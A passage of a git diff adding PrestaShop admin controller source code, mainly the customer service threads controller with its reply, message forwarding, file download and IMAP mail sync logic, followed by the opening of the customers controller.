also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCustomerThreadsControllerCore extends AdminController +{ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'customer_thread'; + $this->className = 'CustomerThread'; + $this->lang = false; + + $contact_array = array(); + $contacts = Contact::getContacts($this->context->language->id); + + foreach ($contacts as $contact) + $contact_array[$contact['id_contact']] = $contact['name']; + + $language_array = array(); + $languages = Language::getLanguages(); + foreach ($languages as $language) + $language_array[$language['id_lang']] = $language['name']; + + $images_array = array( + 'open' => array('src' => 'status_green.png', 'alt' => $this->l('Open')), + 'closed' => array('src' => 'status_red.png', 'alt' => $this->l('Closed')), + 'pending1' => array('src' => 'status_orange.png', 'alt' => $this->l('Pending 1')), + 'pending2' => array('src' => 'status_orange.png', 'alt' => $this->l('Pending 2')), + ); + + $status_array = array(); + foreach ($images_array as $k => $v) + $status_array[$k] = $v['alt']; + + $this->fields_list = array( + 'id_customer_thread' => array( + 'title' => $this->l('ID'), + 'width' => 25, + ), + 'customer' => array( + 'title' => $this->l('Customer'), + 'width' => 100, + 'filter_key' => 'customer', + 'tmpTableFilter' => true, + ), + 'email' => array( + 'title' => $this->l('Email'), + 'width' => 100, + 'filter_key' => 'a!email', + ), + 'contact' => array( + 'title' => $this->l('Type'), + 'width' => 75, + 'type' => 'select', + 'list' => $contact_array, + 'filter_key' => 'cl!id_contact', + 'filter_type' => 'int', + ), + 'language' => array( + 'title' => $this->l('Language'), + 'width' => 60, + 'type' => 'select', + 'list' => $language_array, + 'filter_key' => 'l!id_lang', + 'filter_type' => 'int', + ), + 'status' => array( + 'title' => $this->l('Status'), + 'width' => 50, + 'type' => 'select', + 'list' => $status_array, + 'icon' => $images_array, + 'align' => 'center', + 'filter_key' => 'a!status', + 'filter_type' => 'string', + ), + 'employee' => array( + 'title' => $this->l('Employee'), + 'width' => 100, + 'filter_key' => 'employee', + 'tmpTableFilter' => true, + ), + 'messages' => array( + 'title' => $this->l('Messages'), + 'width' => 50, + 'filter_key' => 'messages', + 'tmpTableFilter' => true, + 'maxlength' => 40, + ), + 'date_upd' => array( + 'title' => $this->l('Last message'), + 'width' => 90, + 'havingFilter' => true, + ), + ); + + $this->bulk_actions = array( + 'delete' => array( + 'text' => $this->l('Delete selected'), + 'confirm' => $this->l('Delete selected items?'), + ), + ); + + $this->shopLinkType = 'shop'; + + $this->fields_options = array( + 'contact' => array( + 'title' => $this->l('Contact options'), + 'fields' => array( + 'PS_CUSTOMER_SERVICE_FILE_UPLOAD' => array( + 'title' => $this->l('Allow file uploading'), + 'desc' => $this->l('Allow customers to upload files using the contact page.'), + 'type' => 'bool' + ), + 'PS_CUSTOMER_SERVICE_SIGNATURE' => array( + 'title' => $this->l('Default message'), + 'desc' => $this->l('Please fill out the message fields that appear by default when you answer a thread on the customer service page.'), + 'type' => 'textareaLang', + 'lang' => true, + 'rows' => 10, + 'cols' => 40 + ) + ), + ), + 'general' => array( + 'title' => $this->l('Customer service options'), + 'fields' => array( + 'PS_SAV_IMAP_URL' => array( + 'title' => $this->l('IMAP URL'), + 'desc' => $this->l('URL for IMAP server (mail.server.com)'), + 'type' => 'text', + 'size' => 40, + ), + 'PS_SAV_IMAP_PORT' => array( + 'title' => $this->l('IMAP port'), + 'desc' => $this->l('Port to use to connect to IMAP server'), + 'type' => 'text', + 'defaultValue' => 143, + ), + 'PS_SAV_IMAP_USER' => array( + 'title' => $this->l('IMAP user'), + 'desc' => $this->l('User to use to connect to IMAP server'), + 'type' => 'text', + 'size' => 40, + ), + 'PS_SAV_IMAP_PWD' => array( + 'title' => $this->l('IMAP password'), + 'desc' => $this->l('Password used to connect IMAP server'), + 'type' => 'text', + 'size' => 40, + ), + 'PS_SAV_IMAP_DELETE_MSG' => array( + 'title' => $this->l('Delete messages'), + 'desc' => $this->l('Delete messages after sync. If you do not active this option, the sync will take more time.'), + 'type' => 'bool', + ), + 'PS_SAV_IMAP_CREATE_THREADS' => array( + 'title' => $this->l('Create new threads'), + 'desc' => $this->l('Create new threads for unrecognized emails'), + 'type' => 'bool', + ), + 'PS_SAV_IMAP_OPT_NORSH' => array( + 'title' => $this->l('IMAP options').' (/norsh)', + 'type' => 'bool', + 'desc' => $this->l('Do not use RSH or SSH to establish a preauthenticated IMAP sessions.'), + ), + 'PS_SAV_IMAP_OPT_SSL' => array( + 'title' => $this->l('IMAP options').' (/ssl)', + 'type' => 'bool', + 'desc' => $this->l('Use the Secure Socket Layer to encrypt the session.'), + ), + 'PS_SAV_IMAP_OPT_VALIDATE-CERT' => array( + 'title' => $this->l('IMAP options').' (/validate-cert)', + 'type' => 'bool', + 'desc' => $this->l('Validate certificates from the TLS/SSL server'), + ), + 'PS_SAV_IMAP_OPT_NOVALIDATE-CERT' => array( + 'title' => $this->l('IMAP options').' (/novalidate-cert)', + 'type' => 'bool', + 'desc' => $this->l('Do not validate certificates from the TLS/SSL server. This is only needed if a server uses self-signed certificates'), + ), + 'PS_SAV_IMAP_OPT_TLS' => array( + 'title' => $this->l('IMAP options').' (/tls)', + 'type' => 'bool', + 'desc' => $this->l('Force use of start-TLS to encrypt the session, and reject connection to servers that do not support it.'), + ), + 'PS_SAV_IMAP_OPT_NOTLS' => array( + 'title' => $this->l('IMAP options').' (/notls)', + 'type' => 'bool', + 'desc' => $this->l('Do not use start-TLS to encrypt the session, even with servers that support it.'), + ), + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button'), + ), + ); + + parent::__construct(); + } + + public function renderList() + { + $this->addRowAction('view'); + $this->addRowAction('delete'); + + $this->_select = ' + CONCAT(c.`firstname`," ",c.`lastname`) as customer, cl.`name` as contact, l.`name` as language, group_concat(message) as messages, + ( + SELECT IFNULL(CONCAT(LEFT(e.`firstname`, 1),". ",e.`lastname`), "--") + FROM `'._DB_PREFIX_.'customer_message` cm2 + INNER JOIN '._DB_PREFIX_.'employee e + ON e.`id_employee` = cm2.`id_employee` + WHERE cm2.id_employee > 0 + AND cm2.`id_customer_thread` = a.`id_customer_thread` + ORDER BY cm2.`date_add` DESC LIMIT 1 + ) as employee'; + + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'customer` c + ON c.`id_customer` = a.`id_customer` + LEFT JOIN `'._DB_PREFIX_.'customer_message` cm + ON cm.`id_customer_thread` = a.`id_customer_thread` + LEFT JOIN `'._DB_PREFIX_.'lang` l + ON l.`id_lang` = a.`id_lang` + LEFT JOIN `'._DB_PREFIX_.'contact_lang` cl + ON (cl.`id_contact` = a.`id_contact` AND cl.`id_lang` = '.(int)$this->context->language->id.')'; + + $this->_group = 'GROUP BY cm.id_customer_thread'; + + $contacts = CustomerThread::getContacts(); + + $categories = Contact::getCategoriesContacts(); + + $params = array( + $this->l('Total threads') => $all = CustomerThread::getTotalCustomerThreads(), + $this->l('Threads pending') => $pending = CustomerThread::getTotalCustomerThreads('status LIKE "%pending%"'), + $this->l('Total number of customer messages') => CustomerMessage::getTotalCustomerMessages('id_employee = 0'), + $this->l('Total number of employee messages') => CustomerMessage::getTotalCustomerMessages('id_employee != 0'), + $this->l('Unread threads') => $unread = CustomerThread::getTotalCustomerThreads('status = "open"'), + $this->l('Closed threads') => $all - ($unread + $pending) + ); + + $this->tpl_list_vars = array( + 'contacts' => $contacts, + 'categories' => $categories, + 'params' => $params + ); + + return parent::renderList(); + } + + public function initToolbar() + { + parent::initToolbar(); + unset($this->toolbar_btn['new']); + } + + public function postProcess() + { + if ($id_customer_thread = (int)Tools::getValue('id_customer_thread')) + { + if (($id_contact = (int)Tools::getValue('id_contact'))) + Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'customer_thread + SET id_contact = '.(int)$id_contact.' + WHERE id_customer_thread = '.(int)$id_customer_thread + ); + if ($id_status = (int)Tools::getValue('setstatus')) + { + $status_array = array(1 => 'open', 2 => 'closed', 3 => 'pending1', 4 => 'pending2'); + Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'customer_thread + SET status = "'.$status_array[$id_status].'" + WHERE id_customer_thread = '.(int)$id_customer_thread.' LIMIT 1 + '); + } + if (isset($_POST['id_employee_forward'])) + { + $messages = Db::getInstance()->executeS(' + SELECT ct.*, cm.*, cl.name subject, CONCAT(e.firstname, \' \', e.lastname) employee_name, + CONCAT(c.firstname, \' \', c.lastname) customer_name, c.firstname + FROM '._DB_PREFIX_.'customer_thread ct + LEFT JOIN '._DB_PREFIX_.'customer_message cm + ON (ct.id_customer_thread = cm.id_customer_thread) + LEFT JOIN '._DB_PREFIX_.'contact_lang cl + ON (cl.id_contact = ct.id_contact AND cl.id_lang = '.(int)$this->context->language->id.') + LEFT OUTER JOIN '._DB_PREFIX_.'employee e + ON e.id_employee = cm.id_employee + LEFT OUTER JOIN '._DB_PREFIX_.'customer c + ON (c.email = ct.email) + WHERE ct.id_customer_thread = '.(int)Tools::getValue('id_customer_thread').' + ORDER BY cm.date_add DESC + '); + $output = ''; + foreach ($messages as $message) + $output .= $this->displayMessage($message, true, (int)Tools::getValue('id_employee_forward')); + + $cm = new CustomerMessage(); + $cm->id_employee = (int)$this->context->employee->id; + $cm->id_customer_thread = (int)Tools::getValue('id_customer_thread'); + $cm->ip_address = ip2long($_SERVER['REMOTE_ADDR']); + $current_employee = $this->context->employee; + $id_employee = (int)Tools::getValue('id_employee_forward'); + $employee = new Employee($id_employee); + $email = Tools::getValue('email'); + if ($id_employee && $employee && Validate::isLoadedObject($employee)) + { + $params = array( + '{messages}' => Tools::nl2br(stripslashes($output)), + '{employee}' => $current_employee->firstname.' '.$current_employee->lastname, + '{comment}' => stripslashes($_POST['message_forward'])); + + if (Mail::Send( + $this->context->language->id, + 'forward_msg', + Mail::l('Fwd: Customer message', $this->context->language->id), + $params, + $employee->email, + $employee->firstname.' '.$employee->lastname, + $current_employee->email, + $current_employee->firstname.' '.$current_employee->lastname, + null, null, _PS_MAIL_DIR_, true)) + { + $cm->private = 1; + $cm->message = $this->l('Message forwarded to').' '.$employee->firstname.' '.$employee->lastname."\n".$this->l('Comment:').' '.$_POST['message_forward']; + $cm->add(); + } + } + elseif ($email && Validate::isEmail($email)) + { + $params = array( + '{messages}' => Tools::nl2br(stripslashes($output)), + '{employee}' => $current_employee->firstname.' '.$current_employee->lastname, + '{comment}' => stripslashes($_POST['message_forward'])); + + if (Mail::Send( + $this->context->language->id, + 'forward_msg', + Mail::l('Fwd: Customer message', $this->context->language->id), + $params, $email, null, + $current_employee->email, $current_employee->firstname.' '.$current_employee->lastname, + null, null, _PS_MAIL_DIR_, true)) + { + $cm->message = $this->l('Message forwarded to').' '.$email."\n".$this->l('Comment:').' '.$_POST['message_forward']; + $cm->add(); + } + } + else + $this->errors[] = '<div class="alert error">'.Tools::displayError('The email address is invalid.').'</div>'; + } + if (Tools::isSubmit('submitReply')) + { + $ct = new CustomerThread($id_customer_thread); + $cm = new CustomerMessage(); + $cm->id_employee = (int)$this->context->employee->id; + $cm->id_customer_thread = $ct->id; + + $cm->message = Tools::htmlentitiesutf8(Tools::getValue('reply_message')); + $cm->ip_address = ip2long($_SERVER['REMOTE_ADDR']); + if (isset($_FILES) && !empty($_FILES['joinFile']['name']) && $_FILES['joinFile']['error'] != 0) + $this->errors[] = Tools::displayError('An error occurred during the file upload process.'); + elseif ($cm->add()) + { + $file_attachment = null; + if (!empty($_FILES['joinFile']['name'])) + { + $file_attachment['content'] = file_get_contents($_FILES['joinFile']['tmp_name']); + $file_attachment['name'] = $_FILES['joinFile']['name']; + $file_attachment['mime'] = $_FILES['joinFile']['type']; + } + $params = array( + '{reply}' => Tools::nl2br(Tools::getValue('reply_message')), + '{link}' => Tools::url( + $this->context->link->getPageLink('contact', true), + 'id_customer_thread='.(int)$ct->id.'&token='.$ct->token + ), + ); + //#ct == id_customer_thread #tc == token of thread <== used in the synchronization imap + $contact = new Contact((int)$ct->id_contact); + if (Validate::isLoadedObject($contact)) + { + $from_name = $contact->name; + $from_email = $contact->email; + } + else + { + $from_name = null; + $from_email = null; + } + if (Mail::Send( + (int)$ct->id_lang, + 'reply_msg', + sprintf(Mail::l('An answer to your message is available #ct%1$s #tc%2$s', $ct->id_lang), $ct->id, $ct->token), + $params, Tools::getValue('msg_email'), null, $from_email, $from_name, $file_attachment, null, + _PS_MAIL_DIR_, true)) + { + $ct->status = 'closed'; + $ct->update(); + } + Tools::redirectAdmin( + self::$currentIndex.'&id_customer_thread='.(int)$id_customer_thread.'&viewcustomer_thread&token='.Tools::getValue('token') + ); + } + else + $this->errors[] = Tools::displayError('An error occurred. Your message was not sent. Please contact your system administrator.'); + } + } + + return parent::postProcess(); + } + + public function initContent() + { + if (isset($_GET['filename']) && file_exists(_PS_UPLOAD_DIR_.$_GET['filename']) && Validate::isFileName($_GET['filename'])) + AdminCustomerThreadsController::openUploadedFile(); + + return parent::initContent(); + } + + protected function openUploadedFile() + { + $filename = $_GET['filename']; + + $extensions = array( + '.txt' => 'text/plain', + '.rtf' => 'application/rtf', + '.doc' => 'application/msword', + '.docx'=> 'application/msword', + '.pdf' => 'application/pdf', + '.zip' => 'multipart/x-zip', + '.png' => 'image/png', + '.jpeg' => 'image/jpeg', + '.gif' => 'image/gif', + '.jpg' => 'image/jpeg', + ); + + $extension = false; + foreach ($extensions as $key => $val) + if (substr(Tools::strtolower($filename), -4) == $key || substr(Tools::strtolower($filename), -5) == $key) + { + $extension = $val; + break; + } + + if (!$extension || !Validate::isFileName($filename)) + die(Tools::displayError()); + + ob_end_clean(); + header('Content-Type: '.$extension); + header('Content-Disposition:attachment;filename="'.$filename.'"'); + readfile(_PS_UPLOAD_DIR_.$filename); + die; + } + + public function renderView() + { + if (!$id_customer_thread = (int)Tools::getValue('id_customer_thread')) + return; + + $this->context = Context::getContext(); + if (!($thread = $this->loadObject())) + return; + $this->context->cookie->{'customer_threadFilter_cl!id_contact'} = $thread->id_contact; + + $employees = Employee::getEmployees(); + + $messages = CustomerThread::getMessageCustomerThreads($id_customer_thread); + + $next_thread = CustomerThread::getNextThread((int)$thread->id); + + $actions = array(); + + if ($next_thread) + $actions['next_thread'] = array( + 'href' => self::$currentIndex.'&id_customer_thread='.(int)$next_thread.'&viewcustomer_thread&token='.$this->token, + 'name' => $this->l('Reply to the next unanswered message in this category.') + ); + else + $actions['next_thread'] = array( + 'href' => false, + 'name' => $this->l('All other messages in this category have been answered.') + ); + + if ($thread->status != 'closed') + $actions['closed'] = array( + 'href' => self::$currentIndex.'&viewcustomer_thread&setstatus=2&id_customer_thread='.(int)Tools::getValue('id_customer_thread').'&viewmsg&token='.$this->token, + 'name' => $this->l('Mark this message as handled.') + ); + + if ($thread->status != 'pending1') + $actions['pending1'] = array( + 'href' => self::$currentIndex.'&viewcustomer_thread&setstatus=3&id_customer_thread='.(int)Tools::getValue('id_customer_thread').'&viewmsg&token='.$this->token, + 'name' => $this->l('Mark this message as "pending 1" (will be answered later).') + ); + else + $actions['pending1'] = array( + 'href' => self::$currentIndex.'&viewcustomer_thread&setstatus=1&id_customer_thread='.(int)Tools::getValue('id_customer_thread').'&viewmsg&token='.$this->token, + 'name' => $this->l('Disable pending status.') + ); + + if ($thread->status != 'pending2') + $actions['pending2'] = array( + 'href' => self::$currentIndex.'&viewcustomer_thread&setstatus=4&id_customer_thread='.(int)Tools::getValue('id_customer_thread').'&viewmsg&token='.$this->token, + 'name' => $this->l('Mark this message as "pending 2" (will be answered later).') + ); + else + $actions['pending2'] = array( + 'href' => self::$currentIndex.'&viewcustomer_thread&setstatus=1&id_customer_thread='.(int)Tools::getValue('id_customer_thread').'&viewmsg&token='.$this->token, + 'name' => $this->l('Disable pending status.') + ); + + if ($thread->id_customer) + { + $customer = new Customer($thread->id_customer); + $orders = Order::getCustomerOrders($customer->id); + if ($orders && count($orders)) + { + $total_ok = 0; + $orders_ok = array(); + foreach ($orders as $key => $order) + { + if ($order['valid']) + { + $orders_ok[] = $order; + $total_ok += $order['total_paid_real']; + } + $orders[$key]['date_add'] = Tools::displayDate($order['date_add'], $this->context->language->id); + $orders[$key]['total_paid_real'] = Tools::displayPrice($order['total_paid_real'], new Currency((int)$order['id_currency'])); + } + } + + $products = $customer->getBoughtProducts(); + if ($products && count($products)) + foreach ($products as $key => $product) + $products[$key]['date_add'] = Tools::displayDate($product['date_add'], $this->context->language->id, true); + } + + foreach ($messages as $key => $message) + $messages[$key] = $this->displayMessage($message); + + $this->tpl_view_vars = array( + 'id_customer_thread' => $id_customer_thread, + 'thread' => $thread, + 'actions' => $actions, + 'employees' => $employees, + 'messages' => $messages, + 'next_thread' => $next_thread, + 'orders' => isset($orders) ? $orders : false, + 'customer' => isset($customer) ? $customer : false, + 'products' => isset($products) ? $products : false, + 'total_ok' => isset($total_ok) ? Tools::displayPrice($total_ok, $this->context->currency) : false, + 'orders_ok' => isset($orders_ok) ? $orders_ok : false, + 'count_ok' => isset($orders_ok) ? count($orders_ok) : false + ); + + return parent::renderView(); + } + + protected function displayMessage($message, $email = false, $id_employee = null) + { + $tpl = $this->createTemplate('message.tpl'); + + $contacts = Contact::getContacts($this->context->language->id); + foreach ($contacts as $contact) + $contact_array[$contact['id_contact']] = array('id_contact' => $contact['id_contact'], 'name' => $contact['name']); + $contacts = $contact_array; + + if (!$email) + { + if (!empty($message['id_product']) && empty($message['employee_name'])) + $id_order_product = Order::getIdOrderProduct((int)$message['id_customer'], (int)$message['id_product']); + } + $message['date_add'] = Tools::displayDate($message['date_add'], $this->context->language->id, true); + $message['user_agent'] = strip_tags($message['user_agent']); + $message['message'] = preg_replace( + '/(https?:\/\/[a-z0-9#%&_=\(\)\.\? \+\-@\/]{6,1000})([\s\n<])/Uui', + '<a href="\1">\1</a>\2', + html_entity_decode($message['message'], + ENT_NOQUOTES, 'UTF-8') + ); + + $tpl->assign(array( + 'current' => self::$currentIndex, + 'token' => $this->token, + 'message' => $message, + 'id_order_product' => isset($id_order_product) ? $id_order_product : null, + 'email' => $email, + 'id_employee' => $id_employee, + 'PS_SHOP_NAME' => Configuration::get('PS_SHOP_NAME'), + 'file_name' => file_exists(_PS_UPLOAD_DIR_.$message['file_name']), + 'contacts' => $contacts, + 'PS_CUSTOMER_SERVICE_SIGNATURE' => str_replace('\r\n', "\n", Configuration::get('PS_CUSTOMER_SERVICE_SIGNATURE', $message['id_lang'])) + )); + + return $tpl->fetch(); + } + + protected function displayButton($content) + { + return ' + <div style="margin-bottom:10px;border:1px solid #005500;width:200px;height:130px;padding:10px;background:#EFE"> + <p style="text-align:center;font-size:15px;font-weight:bold"> + '.$content.' + </p> + </div>'; + } + + public function renderOptions() + { + if (Configuration::get('PS_SAV_IMAP_URL') + && Configuration::get('PS_SAV_IMAP_PORT') + && Configuration::get('PS_SAV_IMAP_USER') + && Configuration::get('PS_SAV_IMAP_PWD')) + $this->tpl_option_vars['use_sync'] = true; + else + $this->tpl_option_vars['use_sync'] = false; + + return parent::renderOptions(); + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + if (isset($this->_list[$i]['messages'])) + $this->_list[$i]['messages'] = Tools::htmlentitiesDecodeUTF8($this->_list[$i]['messages']); + } + } + + public function updateOptionPsSavImapOpt($value) + { + if ($this->tabAccess['edit'] != '1') + throw new PrestaShopException(Tools::displayError('You do not have permission to edit this.')); + + if (!$this->errors && $value) + Configuration::updateValue('PS_SAV_IMAP_OPT', implode('', $value)); + } + + public function ajaxProcessMarkAsRead() + { + if ($this->tabAccess['edit'] != '1') + throw new PrestaShopException(Tools::displayError('You do not have permission to edit this.')); + + $id_thread = Tools::getValue('id_thread'); + $messages = CustomerThread::getMessageCustomerThreads($id_thread); + if (count($messages)) + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'customer_message set `read` = 1'); + } + + public function ajaxProcessSyncImap() + { + if ($this->tabAccess['edit'] != '1') + throw new PrestaShopException(Tools::displayError('You do not have permission to edit this.')); + + if (Tools::isSubmit('syncImapMail')) + { + if (!($url = Configuration::get('PS_SAV_IMAP_URL')) + || !($port = Configuration::get('PS_SAV_IMAP_PORT')) + || !($user = Configuration::get('PS_SAV_IMAP_USER')) + || !($password = Configuration::get('PS_SAV_IMAP_PWD'))) + die('{"hasError" : true, "errors" : ["Configuration is not correct"]}'); + + $conf = Configuration::getMultiple(array( + 'PS_SAV_IMAP_OPT_NORSH', 'PS_SAV_IMAP_OPT_SSL', + 'PS_SAV_IMAP_OPT_VALIDATE-CERT', 'PS_SAV_IMAP_OPT_NOVALIDATE-CERT', + 'PS_SAV_IMAP_OPT_TLS', 'PS_SAV_IMAP_OPT_NOTLS')); + + $conf_str = ''; + if ($conf['PS_SAV_IMAP_OPT_NORSH']) + $conf_str .= '/norsh'; + if ($conf['PS_SAV_IMAP_OPT_SSL']) + $conf_str .= '/ssl'; + if ($conf['PS_SAV_IMAP_OPT_VALIDATE-CERT']) + $conf_str .= '/validate-cert'; + if ($conf['PS_SAV_IMAP_OPT_NOVALIDATE-CERT']) + $conf_str .= '/novalidate-cert'; + if ($conf['PS_SAV_IMAP_OPT_TLS']) + $conf_str .= '/tls'; + if ($conf['PS_SAV_IMAP_OPT_NOTLS']) + $conf_str .= '/notls'; + + if (!function_exists('imap_open')) + die('{"hasError" : true, "errors" : ["imap is not installed on this server"]}'); + + $mbox = @imap_open('{'.$url.':'.$port.$conf_str.'}', $user, $password); + + //checks if there is no error when connecting imap server + $errors = imap_errors(); + $str_errors = ''; + $str_error_delete = ''; + if (sizeof($errors) && is_array($errors)) + { + $str_errors = ''; + foreach($errors as $error) + $str_errors .= '"'.$error.'",'; + $str_errors = rtrim($str_errors, ',').''; + } + //checks if imap connexion is active + if (!$mbox) + die('{"hasError" : true, "errors" : ["Cannot connect to the mailbox:.<br />'.addslashes($str_errors).'"]}'); + + //Returns information about the current mailbox. Returns FALSE on failure. + $check = imap_check($mbox); + if (!$check) + die('{"hasError" : true, "errors" : ["Fail to get information about the current mailbox"]}'); + + if ($check->Nmsgs == 0) + die('{"hasError" : true, "errors" : ["NO message to sync"]}'); + + $result = imap_fetch_overview($mbox,"1:{$check->Nmsgs}",0); + foreach ($result as $overview) + { + //check if message exist in database + if (isset($overview->subject)) + $subject = $overview->subject; + else + $subject = ''; + //Creating an md5 to check if message has been allready processed + $md5 = md5($overview->date.$overview->from.$subject.$overview->msgno); + $exist = Db::getInstance()->getValue( + 'SELECT `md5_header` + FROM `'._DB_PREFIX_.'customer_message_sync_imap` + WHERE `md5_header` = \''.pSQL($md5).'\''); + if ($exist) + { + if (Configuration::get('PS_SAV_IMAP_DELETE_MSG')) + if (!imap_delete($mbox, $overview->msgno)) + $str_error_delete = ', "Fail to delete message"'; + } + else + { + //check if subject has id_order + preg_match('/\#ct([0-9]*)/', $subject, $matches1); + preg_match('/\#tc([0-9-a-z-A-Z]*)/', $subject, $matches2); + $new_ct = (Configuration::get('PS_SAV_IMAP_CREATE_THREADS') && !isset($matches1[1]) && !isset($matches2[1]) && !preg_match('/[no_sync]/', $subject)); + if (isset($matches1[1]) && isset($matches2[1]) || $new_ct) + { + if ($new_ct) + { + if (!preg_match('/<('.Tools::cleanNonUnicodeSupport('[a-z\p{L}0-9!#$%&\'*+\/=?^`{}|~_-]+[.a-z\p{L}0-9!#$%&\'*+\/=?^`{}|~_-]*@[a-z\p{L}0-9]+[._a-z\p{L}0-9-]*\.[a-z0-9]+').')>/', $overview->from, $result) + || !Validate::isEmail($from = $result[1])) + continue; + + $contacts = Contact::getCategoriesContacts(); + if (!$contacts) + continue; + $id_contact = $contacts[0]['id_contact']; + + $ct = new CustomerThread(); + $ct->email = $from; + $ct->id_contact = $id_contact; + $ct->id_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + $ct->status = 'open'; + $ct->token = Tools::passwdGen(12); + $ct->add(); + } + else + $ct = new CustomerThread((int)$matches1[1]); //check if order exist in database + + if (Validate::isLoadedObject($ct) && ((isset($matches2[1]) && $ct->token == $matches2[1]) || $new_ct)) + { + $cm = new CustomerMessage(); + $cm->id_customer_thread = $ct->id; + $cm->message = imap_fetchbody($mbox, $overview->msgno, 1); + $cm->add(); + } + } + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'customer_message_sync_imap` (`md5_header`) VALUES (\''.pSQL($md5).'\')'); + } + } + imap_expunge($mbox); + imap_close($mbox); + die('{"hasError" : false, "errors" : ["'.$str_errors.$str_error_delete.'"]}'); + } + } +} \ No newline at end of file diff --git a/controllers/admin/AdminCustomersController.php b/controllers/admin/AdminCustomersController.php new file mode 100755 index 0000000..e395e72 --- /dev/null +++ b/controllers/admin/AdminCustomersController.php @@ -0,0 +1,937 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCustomersControllerCore extends AdminController +{ + protected $delete_mode; + + protected $_defaultOrderBy = 'date_add'; + protected $_defaultOrderWay = 'DESC'; + protected $can_add_customer = true; + + public function __construct() + { + $this->required_database = true; + $this->required_fields = array('newsletter','optin'); + $this->table = 'customer'; + $this->className = 'Customer'; + $this->lang = false; + $this->deleted = true; + $this->explicitSelect = true; + + $this->allow_export = true; + + $this->addRowAction('edit'); + $this->addRowAction('view'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Would you like to delete the selected items?'))); + + $this->context = Context::getContext(); + + $this->default_form_language = $this->context->language->id; + + $genders = array(); + $genders_icon = array(); + $genders_icon[] = array('src' => '../genders/Unknown.jpg', 'alt' => ''); + foreach (Gender::getGenders() as $gender) + { + $gender_file = 'genders/'.$gender->id.'.jpg'; + if (file_exists(_PS_IMG_DIR_.$gender_file)) + $genders_icon[$gender->id] = array('src' => '../'.$gender_file, 'alt' => $gender->name); + else + $genders_icon[$gender->id] = array('src' => '../genders/Unknown.jpg', 'alt' => $gender->name); + $genders[$gender->id] = $gender->name; + } + + $this->_select = ' + a.date_add, + IF (YEAR(`birthday`) = 0, "-", (YEAR(CURRENT_DATE)-YEAR(`birthday`)) - (RIGHT(CURRENT_DATE, 5) < RIGHT(birthday, 5))) AS `age`, ( + SELECT c.date_add FROM '._DB_PREFIX_.'guest g + LEFT JOIN '._DB_PREFIX_.'connections c ON c.id_guest = g.id_guest + WHERE g.id_customer = a.id_customer + ORDER BY c.date_add DESC + LIMIT 1 + ) as connect'; + $this->fields_list = array( + 'id_customer' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20 + ), + 'id_gender' => array( + 'title' => $this->l('Title'), + 'width' => 70, + 'align' => 'center', + 'icon' => $genders_icon, + 'orderby' => false, + 'type' => 'select', + 'list' => $genders, + 'filter_key' => 'a!id_gender', + ), + 'lastname' => array( + 'title' => $this->l('Last name'), + 'width' => 'auto' + ), + 'firstname' => array( + 'title' => $this->l('First Name'), + 'width' => 'auto' + ), + 'email' => array( + 'title' => $this->l('Email address'), + 'width' => 140, + ), + 'age' => array( + 'title' => $this->l('Age'), + 'width' => 20, + 'search' => false, + 'align' => 'center' + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'width' => 70, + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'filter_key' => 'a!active', + ), + 'newsletter' => array( + 'title' => $this->l('News.'), + 'width' => 70, + 'align' => 'center', + 'type' => 'bool', + 'callback' => 'printNewsIcon', + 'orderby' => false + ), + 'optin' => array( + 'title' => $this->l('Opt.'), + 'width' => 70, + 'align' => 'center', + 'type' => 'bool', + 'callback' => 'printOptinIcon', + 'orderby' => false + ), + 'date_add' => array( + 'title' => $this->l('Registration'), + 'width' => 150, + 'type' => 'date', + 'align' => 'right' + ), + 'connect' => array( + 'title' => $this->l('Last visit'), + 'width' => 100, + 'type' => 'datetime', + 'search' => false, + 'havingFilter' => true + ) + ); + + $this->shopLinkType = 'shop'; + $this->shopShareDatas = Shop::SHARE_CUSTOMER; + + parent::__construct(); + + // Check if we can add a customer + if (Shop::isFeatureActive() && (Shop::getContext() == Shop::CONTEXT_ALL || Shop::getContext() == Shop::CONTEXT_GROUP)) + $this->can_add_customer = false; + } + + public function postProcess() + { + if (!$this->can_add_customer && $this->display == 'add') + $this->redirect_after = $this->context->link->getAdminLink('AdminCustomers'); + + parent::postProcess(); + } + + public function initContent() + { + if ($this->action == 'select_delete') + $this->context->smarty->assign(array( + 'delete_form' => true, + 